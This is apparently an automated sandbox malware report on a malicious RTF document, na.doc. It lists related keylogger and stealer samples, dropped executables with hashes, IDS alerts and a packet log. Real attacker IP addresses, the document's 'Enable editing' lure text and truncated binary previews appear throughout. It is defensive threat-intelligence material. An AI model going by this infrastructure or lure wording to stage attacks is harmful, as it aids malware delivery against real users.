	installer.exe	Get hash	malicious	Unknown	Browse	149.154.167.220

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
TELEGRAMRU	file.exe	Get hash	malicious	WhiteSnake Stealer	Browse	149.154.167.220
	ADJUNTA.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Request For Quotation-RFQ097524.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Request For Quotation-RFQ097524_Pdf.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Request For Quotation-RFQ097524.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Pedido de Cota#U00e7#U00e3o -RFQ20241029.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Pedido de Cota#U00e7#U00e3o -RFQ20241029_Pdf.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Pedido de Cota#U00e7#U00e3o -RFQ20241029.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	Ndnownts.exe	Get hash	malicious	Snake Keylogger	Browse	149.154.167.220
	installer.exe	Get hash	malicious	Unknown	Browse	149.154.167.220
CLOUDFLARENETUS	Payment&WarantyBonds.exe	Get hash	malicious	FormBook	Browse	172.67.154.67
	PO.2407010.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	104.21.74.191
	ADJUNTA.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	188.114.97.3
	File07098.PDF.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	Payment Slip_SJJ023639#U00faPDF.scr.exe	Get hash	malicious	Snake Keylogger	Browse	188.114.96.3
	lf1SPbZI3V.exe	Get hash	malicious	Lokibot	Browse	188.114.97.3
	PO-004976.xls	Get hash	malicious	Unknown	Browse	188.114.96.3
	Po docs.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	104.21.74.191
	PO-004976.xls	Get hash	malicious	Unknown	Browse	188.114.97.3
	file.exe	Get hash	malicious	LummaC, Amadey, LummaC Stealer, Stealc	Browse	188.114.96.3
UTMEMUS	ADJUNTA.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	Quality stuff.pdf.exe	Get hash	malicious	Snake Keylogger	Browse	132.226.8.169
	Request For Quotation-RFQ097524.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	Pedido de Cota#U00e7#U00e3o -RFQ20241029_Pdf.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.247.73
	Pedido de Cota#U00e7#U00e3o -RFQ20241029.vbs	Get hash	malicious	GuLoader, Snake Keylogger	Browse	132.226.8.169
	z59IKE.exe	Get hash	malicious	MassLogger RAT, PureLog Stealer	Browse	132.226.8.169
	ZAPYTANIE OFERTOWE ST-2024-S315 CPA9170385.exe	Get hash	malicious	CryptOne, Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	rShippingDocuments240384.exe	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
	Bill Of Lading.exe	Get hash	malicious	MassLogger RAT	Browse	132.226.247.73
	Proforma-Invoice#018879TT0100..doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	132.226.247.73
SHARCOM-ASBG	zxalphamn.doc	Get hash	malicious	Lokibot	Browse	87.120.84.39
	Proforma Invoice347.doc	Get hash	malicious	Nanocore	Browse	87.120.84.38
	Proforma-Invoice#018879TT0100..doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	87.120.84.38
	na.doc	Get hash	malicious	MassLogger RAT	Browse	87.120.84.38
	na.doc	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	87.120.84.38
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	87.120.84.38
	na.doc	Get hash	malicious	VIP Keylogger	Browse	87.120.84.38
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	87.120.84.38
	na.doc	Get hash	malicious	FormBook	Browse	87.120.84.38
	mnobizxv.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	87.120.84.38

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
05af1f5ca1b87cc9cc9b25185115607d	PO.2407010.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	188.114.96.3
	Po docs.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	188.114.96.3
	Comprobante de pago.xlam.xlsx	Get hash	malicious	AgentTesla	Browse	188.114.96.3
	AWB-M09CT560.docx.doc	Get hash	malicious	Unknown	Browse	188.114.96.3
	0001.xls	Get hash	malicious	Remcos	Browse	188.114.96.3
	1.rtf	Get hash	malicious	Remcos	Browse	188.114.96.3
	ingswhic.doc	Get hash	malicious	Remcos	Browse	188.114.96.3
	swithnew.doc	Get hash	malicious	Remcos	Browse	188.114.96.3
	Swift Copy.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	188.114.96.3
	Payment Advice.xls	Get hash	malicious	HTMLPhisher, Lokibot	Browse	188.114.96.3
36f7277af969a6947a61ae0b815907a1	Proforma-Invoice#018879TT0100..doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	na.doc	Get hash	malicious	MassLogger RAT	Browse	149.154.167.220
	na.doc	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	na.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	mnobizxv.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	REVISED INVOICE.exe	Get hash	malicious	GuLoader, Snake Keylogger	Browse	149.154.167.220
	CLOSURE.doc	Get hash	malicious	Snake Keylogger, VIP Keylogger	Browse	149.154.167.220
	BL Packing List & Invoice.xls	Get hash	malicious	Unknown	Browse	149.154.167.220
	MT103-539 PAYMENT (1).docx.doc	Get hash	malicious	PureLog Stealer, Snake Keylogger, VIP Keylogger	Browse	149.154.167.220

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	0.34726597513537405
Encrypted:	false
SSDEEP:	3:Nlll:Nll
MD5:	446DD1CF97EABA21CF14D03AEBC79F27
SHA1:	36E4CC7367E0C7B40F4A8ACE272941EA46373799
SHA-256:	A7DE5177C68A64BD48B36D49E2853799F4EBCFA8E4761F7CC472F333DC5F65CF
SHA-512:	A6D754709F30B122112AE30E5AB22486393C5021D33DA4D1304C061863D2E1E79E8AEB029CAE61261BB77D0E7BECD53A7B0106D6EA4368B4C302464E3D941CF7
Malicious:	false
Reputation:	high, very likely benign file
Preview:	@...e...........................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\T4O403JZ\CLLPdgxhnmwGf5Y[1].exe

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	756736
Entropy (8bit):	7.950147906141752
Encrypted:	false
SSDEEP:	12288:8oaDPw1Qk89TmyGHsxAJamiAHeKIH3jDcClP7QGymMDjg66zDJbHfO:8pLw9gTFGHsxsapIKDcU7iYDZ2
MD5:	53A7577C1DE37E54A78A2B918EB0D8BB
SHA1:	B51FE05023BACFBBB7B32A275BE601A4A5197203
SHA-256:	05328896CBA00F0F40A148E1EA739402B0D80546EB175B04D2D13FE8F7DF34B7
SHA-512:	AEEC560986568C336B9F1B6CE3AB9C158B10D2AF8620B9E0742CC57B15C400375AFEE2FA356D9DA0074FA47257436B66E5AC69C06112608E9351C2F9E87A0D00
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	low
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....!g..............0..p............... ........@.. ....................................@.................................P...O....... ............................................................................ ............... ..H............text....o... ...p.................. ..`.rsrc... ............r..............@..@.reloc..............................@..B........................H........q...g...........................................................0...........(......(.....+.....0...........(.......(.....+....0...........(........(.....+...0...........(.........(.....+......0...........(...........(.....+....0...........(.............(.....+......0.................(.......(.....+......0.................(........(.....+.....0.................(.........(.....+....0.................(...........( ....+......0.................(.............(!.

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRF{B51DF821-F86D-46B6-8ACC-37FF18353270}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3::
MD5:	CE338FE6899778AACFC28414F2D9498B
SHA1:	897256B6709E1A4DA9DABA92B6BDE39CCFCCD8C1
SHA-256:	4FE7B59AF6DE3B665B67788CC2F99892AB827EFAE3A467342B3BB4E3BC8E5BFE
SHA-512:	6EB7F16CF7AFCABE9BDEA88BDAB0469A7937EB715ADA9DFD8F428D9D38D86133945F5F2F2688DDD96062223A39B5D47F07AFC3C48D9DB1D5EE3F41C8D274DCCF
Malicious:	false
Reputation:	high, very likely benign file
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{13FEA83D-5377-4786-9DD9-29F737F0C8E8}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	749056
Entropy (8bit):	3.4101208772922758
Encrypted:	false
SSDEEP:	6144:vyemryemryemryemryemryemryemryemryemryemryemryemryemryemryemryeN:Bcl
MD5:	D26FB13BDF4909E4F397977100E0605B
SHA1:	9878BCA0181802F21967ACD41E37DF40BC177AB8
SHA-256:	35B936A35819770C4910A446FBDB0C9C23387D3FD7A1902767C578BDA91FF78B
SHA-512:	CF4D08398DEB32778849ED7E372F379FE6975044F097CC2482888F7FD77DCA4877419E44CDC2DFF632FDCBC13D5A62A53F47C4BAB55D2172A0159DB44574572D
Malicious:	false
Reputation:	low
Preview:	6.0.7.8.9.7.9.5.p.l.e.a.s.e. .c.l.i.c.k. .E.n.a.b.l.e. .e.d.i.t.i.n.g. .f.r.o.m. .t.h.e. .y.e.l.l.o.w. .b.a.r. .a.b.o.v.e...T.h.e. .i.n.d.e.p.e.n.d.e.n.t. .a.u.d.i.t.o.r.s.. .o.p.i.n.i.o.n. .s.a.y.s. .t.h.e. .f.i.n.a.n.c.i.a.l. .s.t.a.t.e.m.e.n.t.s. .a.r.e. .f.a.i.r.l.y. .s.t.a.t.e.d. .i.n. .a.c.c.o.r.d.a.n.c.e. .w.i.t.h. .t.h.e. .b.a.s.i.s. .o.f. .a.c.c.o.u.n.t.i.n.g. .u.s.e.d. .b.y. .y.o.u.r. .o.r.g.a.n.i.z.a.t.i.o.n... .S.o. .w.h.y. .a.r.e. .t.h.e. .a.u.d.i.t.o.r.s. .g.i.v.i.n.g. .y.o.u. .t.h.a.t. .o.t.h.e.r. .l.e.t.t.e.r. .I.n. .a.n. .a.u.d.i.t. .o.f. .f.i.n.a.n.c.i.a.l. .s.t.a.t.e.m.e.n.t.s.,. .p.r.o.f.e.s.s.i.o.n.a.l. .s.t.a.n.d.a.r.d.s. .r.e.q.u.i.r.e. .t.h.a.t. .a.u.d.i.t.o.r.s. .o.b.t.a.i.n. .a.n. .u.n.d.e.r.s.t.a.n.d.i.n.g. .o.f. .i.n.t.e.r.n.a.l. .c.o.n.t.r.o.l.s. .t.o. .t.h.e. .e.x.t.e.n.t. .n.e.c.e.s.s.a.r.y. .t.o. .p.l.a.n. .t.h.e. .a.u.d.i.t... .A.u.d.i.t.o.r.s. .u.s.e. .t.h.i.s. .u.n.d.e.r.s.t.a.n.d.i.n.g. .o.f. .i.n.t.e.r.n.a.l. .c.o.n.t.r.o.l.s. .t.o. .a.s.s.e.s.s. .

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{18EB24B9-D74C-4691-AA6F-57A74C54BFE9}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1024
Entropy (8bit):	0.05390218305374581
Encrypted:	false
SSDEEP:	3:ol3lYdn:4Wn
MD5:	5D4D94EE7E06BBB0AF9584119797B23A
SHA1:	DBB111419C704F116EFA8E72471DD83E86E49677
SHA-256:	4826C0D860AF884D3343CA6460B0006A7A2CE7DBCCC4D743208585D997CC5FD1
SHA-512:	95F83AE84CAFCCED5EAF504546725C34D5F9710E5CA2D11761486970F2FBECCB25F9CF50BBFC272BD75E1A66A18B7783F09E1C1454AFDA519624BC2BB2F28BA4
Malicious:	false
Preview:	........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{9C8F7FC9-C865-4704-9DF5-6F224ABC8549}.tmp

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	1536
Entropy (8bit):	1.3496338424734096
Encrypted:	false
SSDEEP:	3:Iiiiiiiiiif3l/Hlnl/bl//l/bllBl/PvvvvvvvvvvFl/l/lAqsalHl3lldHzlbQ:IiiiiiiiiifdLloZQc8++lsJe1Mzj
MD5:	968316C7D9D8E4F927B9C150C254FB20
SHA1:	55461D40E591553A3EE4C16568E2D93607F21491
SHA-256:	0061B972D181908257A1E7658AF7EB740579C5FEB5F5F54CB598D8B9145CC3F7
SHA-512:	E146AE793A9FE582E4F4D1B486D6780C72F6850CA116F47B2237825C1BC9432112962CF32965ADA03A145711E5CEF65176A6A5324304BBBCD01A039B2A676A7B
Malicious:	false
Preview:	..(...(...(...(...(...(...(...(...(...(...(...A.l.b.u.s...A........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................."...&...*.......:...>...............................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\3yrbiz3z.fqn.psm1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Local\Temp\xxoncosu.mah.ps1

Download File

Process:	C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\index.dat

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Generic INItialization configuration [folders]
Category:	dropped
Size (bytes):	38
Entropy (8bit):	4.195295934496219
Encrypted:	false
SSDEEP:	3:M19m42Uv:M9
MD5:	85AFAECA1F119568BFA70BB4ED76F108
SHA1:	13DA0EB4D0361D0A4CD1DD38DBECA56DEB273457
SHA-256:	3211DF2212BAF22DF462140F37EC16A81483BFB4DE4796F24A0708390601F0F8
SHA-512:	4E5C577D753BF15471DA27D3EEE34FCE86E388414FA1177E3BCF877827C82750F23C8EDB64B83CF7E55C69D5FCB2BD18941E81A353F8458A0685D358C1E9D3A6
Malicious:	false
Preview:	[doc]..na.LNK=0..[folders]..na.LNK=0..

C:\Users\user\AppData\Roaming\Microsoft\Office\Recent\na.LNK

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	MS Windows shortcut, Item id list present, Points to a file or directory, Has Relative path, Archive, ctime=Fri Aug 11 15:42:10 2023, mtime=Fri Aug 11 15:42:10 2023, atime=Wed Oct 30 06:14:13 2024, length=957361, window=hide
Category:	dropped
Size (bytes):	968
Entropy (8bit):	4.521400131831692
Encrypted:	false
SSDEEP:	12:8wa6E0gXg/XAlCPCHaXcB4LgB/qPX+WAaIXmicvbGI8DtZ3YilMMEpxRljKZTdIp:8wWk/XTMyg4+a0eKDDv3q057u
MD5:	5B895E2F499EF666822B61697C95B78D
SHA1:	3E56ADF5AB1EE56E93BF166B2B3738666D862499
SHA-256:	8063345562AE46EE697D3B934AA16CA9E41937FB6C5A5822DE84498034ABC59C
SHA-512:	DEB160842D308FE92161F6565FEE6CC47205E543F395FE077FADBF45DA317A1D1D5A96B9D066A8C74155C0D421488DE4B58CD92F73982F9B4517887097A7EE2E
Malicious:	false
Preview:	L..................F.... .....2.r.....2.r...s..R................................P.O. .:i.....+00.../C:\...................t.1.....QK.X..Users.`.......:..QK.X...................6.....U.s.e.r.s...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.8.1.3.....L.1.....^Y.9..user.8......QK.X^Y.9...&=....U...............A.l.b.u.s.....z.1......WG...Desktop.d......QK.X.WG...._=..............:.....D.e.s.k.t.o.p...@.s.h.e.l.l.3.2...d.l.l.,.-.2.1.7.6.9.....P.2.....^Y.9 .na.doc..:.......WF..WF.*.........................n.a...d.o.c.......p...............-...8...[............?J......C:\Users\..#...................\\971342\Users.user\Desktop\na.doc.......\.....\.....\.....\.....\.D.e.s.k.t.o.p.\.n.a...d.o.c.........:..,.LB.)...Ag...............1SPS.XF.L8C....&.m.m............-...S.-.1.-.5.-.2.1.-.9.6.6.7.7.1.3.1.5.-.3.0.1.9.4.0.5.6.3.7.-.3.6.7.3.3.6.4.7.7.-.1.0.0.6.............`.......X.......971342..........D_....3N...W...9..W.e8...8.....[D_....3N...W...9..W.e8...8.....[....

C:\Users\user\AppData\Roaming\Microsoft\Templates\~$Normal.dotm

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
MD5:	2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
SHA1:	95E13378EA9CACA068B2687F01E9EF13F56627C2
SHA-256:	60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
SHA-512:	2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
Malicious:	false
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

C:\Users\user\AppData\Roaming\Microsoft\UProof\ExcludeDictionaryEN0409.lex

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	Unicode text, UTF-16, little-endian text, with no line terminators
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:Qn:Qn
MD5:	F3B25701FE362EC84616A93A45CE9998
SHA1:	D62636D8CAEC13F04E28442A0A6FA1AFEB024BBB
SHA-256:	B3D510EF04275CA8E698E5B3CBB0ECE3949EF9252F0CDC839E9EE347409A2209
SHA-512:	98C5F56F3DE340690C139E58EB7DAC111979F0D4DFFE9C4B24FF849510F4B6FFA9FD608C0A3DE9AC3C9FD2190F0EFAF715309061490F9755A9BFDF1C54CA0D84
Malicious:	false
Preview:	..

C:\Users\user\AppData\Roaming\cmnjgyugo61000.exe

Download File

Process:	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE
File Type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	756736
Entropy (8bit):	7.950147906141752
Encrypted:	false
SSDEEP:	12288:8oaDPw1Qk89TmyGHsxAJamiAHeKIH3jDcClP7QGymMDjg66zDJbHfO:8pLw9gTFGHsxsapIKDcU7iYDZ2
MD5:	53A7577C1DE37E54A78A2B918EB0D8BB
SHA1:	B51FE05023BACFBBB7B32A275BE601A4A5197203
SHA-256:	05328896CBA00F0F40A148E1EA739402B0D80546EB175B04D2D13FE8F7DF34B7
SHA-512:	AEEC560986568C336B9F1B6CE3AB9C158B10D2AF8620B9E0742CC57B15C400375AFEE2FA356D9DA0074FA47257436B66E5AC69C06112608E9351C2F9E87A0D00
Malicious:	true
Antivirus:	Antivirus: Joe Sandbox ML, Detection: 100%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....!g..............0..p............... ........@.. ....................................@.................................P...O....... ............................................................................ ............... ..H............text....o... ...p.................. ..`.rsrc... ............r..............@..@.reloc..............................@..B........................H........q...g...........................................................0...........(......(.....+.....0...........(.......(.....+....0...........(........(.....+...0...........(.........(.....+......0...........(...........(.....+....0...........(.............(.....+......0.................(.......(.....+......0.................(........(.....+.....0.................(.........(.....+....0.................(...........( ....+......0.................(.............(!.

C:\Users\user\Desktop\~$na.doc

Download File

Process:	C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
File Type:	data
Category:	dropped
Size (bytes):	162
Entropy (8bit):	2.4797606462020307
Encrypted:	false
SSDEEP:	3:vrJlaCkWtVyHlqlzl0pbklMWjV4lc+/dllln:vdsCkWtWYlz21kF2JV/l
MD5:	2CF7D3B8DED3F1D5CE1AC92F3E51D4ED
SHA1:	95E13378EA9CACA068B2687F01E9EF13F56627C2
SHA-256:	60DF94CDE4FD9B4A73BB13775079D75CE954B75DED5A2878277FA64AD767CAB1
SHA-512:	2D5797FBBE44766D93A5DE3D92911358C70D8BE60D5DF542ECEDB77D1195DC1EEF85E4CA1445595BE81550335A20AB3F11B512385FE20F75B1E269D6AB048E0A
Malicious:	true
Preview:	.user..................................................A.l.b.u.s.............p........1...............2..............@3...............3......z.......p4......x...

Static File Info

General

File type:	Nim source code, Non-ISO extended-ASCII text, with very long lines (65312), with CR line terminators
Entropy (8bit):	3.966189042553259
TrID:	Rich Text Format (4004/1) 100.00%
File name:	na.doc
File size:	957'361 bytes
MD5:	84db82889d53879931a4551c5c81619b
SHA1:	29d3908cadf8833d5dfe8f46235fc332f16883af
SHA256:	3a3a4165f6e4845d27dcee1345e65abc27af1fbd2a9acb2e675faa02dd3dbe5f
SHA512:	40fac65a4cbae91a4d59ce8c130522d0e646c96d14663467549fdfba94af056922468a67c2a3d31928ba5cda7008da2ffb11406601b8d04f7ada77c6f3cf6bb8
SSDEEP:	6144:nwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAYwAC:q
TLSH:	9A15292DD34B02598F620377AB571E5142BDBA7EF38552A1302C537933EAC3DA1252BE
File Content Preview:	{\rt..{\*\FADlXjX6sslendAfMOuifLgkgDdSADSn2EnrnHuyLDXx0h4liMrHfH0Oyh5MfxOM6hLIIK0vqi68p78b7SgUwgBgYYiyKW9ky1di5n65ulFqJneK6592VRWmy9Jx9o06BZTmBbUe4mjkUeu6Ae2YOUHqkvewBiEaGlcAccRkqAMUOaA4sZ9hdik1QHVaT97Lj0rURlFYnKui3VjQlFE}..{\460789795please click Enable

File Icon


Icon Hash:	2764a3aaaeb7bdbf

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-10-30T08:14:18.649430+0100	2022050	ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M1	1	87.120.84.38	80	192.168.2.22	49165	TCP
2024-10-30T08:14:18.981830+0100	2022051	ET MALWARE Likely Evil EXE download from dotted Quad by MSXMLHTTP M2	1	87.120.84.38	80	192.168.2.22	49165	TCP
2024-10-30T08:14:18.981830+0100	2827449	ETPRO EXPLOIT Adobe EMF File Memory Corrpution Vulnerability Inbound (CVE-2017-3123)	1	87.120.84.38	80	192.168.2.22	49165	TCP
2024-10-30T08:14:28.807025+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.22	49166	158.101.44.242	80	TCP
2024-10-30T08:14:29.981164+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.22	49166	158.101.44.242	80	TCP
2024-10-30T08:14:30.554577+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.22	49168	188.114.96.3	443	TCP
2024-10-30T08:14:32.586408+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.22	49169	193.122.6.168	80	TCP
2024-10-30T08:14:34.270927+0100	2803274	ETPRO MALWARE Common Downloader Header Pattern UH	2	192.168.2.22	49171	193.122.6.168	80	TCP
2024-10-30T08:14:36.699659+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.22	49174	188.114.97.3	443	TCP
2024-10-30T08:14:40.091187+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.22	49178	188.114.97.3	443	TCP
2024-10-30T08:14:44.496057+0100	2803305	ETPRO MALWARE Common Downloader Header Pattern H	3	192.168.2.22	49182	188.114.97.3	443	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Oct 30, 2024 08:14:17.699069023 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:17.704572916 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:17.704653978 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:17.704850912 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:17.710150957 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.649243116 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.649269104 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.649280071 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.649336100 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.649368048 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.649430037 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.649441004 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.649451017 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.649461031 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.649480104 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.649502039 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.649631023 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.649679899 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.649691105 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.649693012 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.649738073 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.654733896 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.654767990 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.654829979 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.654937029 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.812666893 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.812688112 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.812697887 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.812786102 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.812798977 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.812818050 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.812848091 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.812911987 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.812959909 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.813029051 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.813039064 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.813077927 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.813399076 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.813472986 CET	49165	80	192.168.2.22	87.120.84.38
Oct 30, 2024 08:14:18.813481092 CET	80	49165	87.120.84.38	192.168.2.22
Oct 30, 2024 08:14:18.813492060 CET	80	49165	87.120.84.38	192.168.2.22
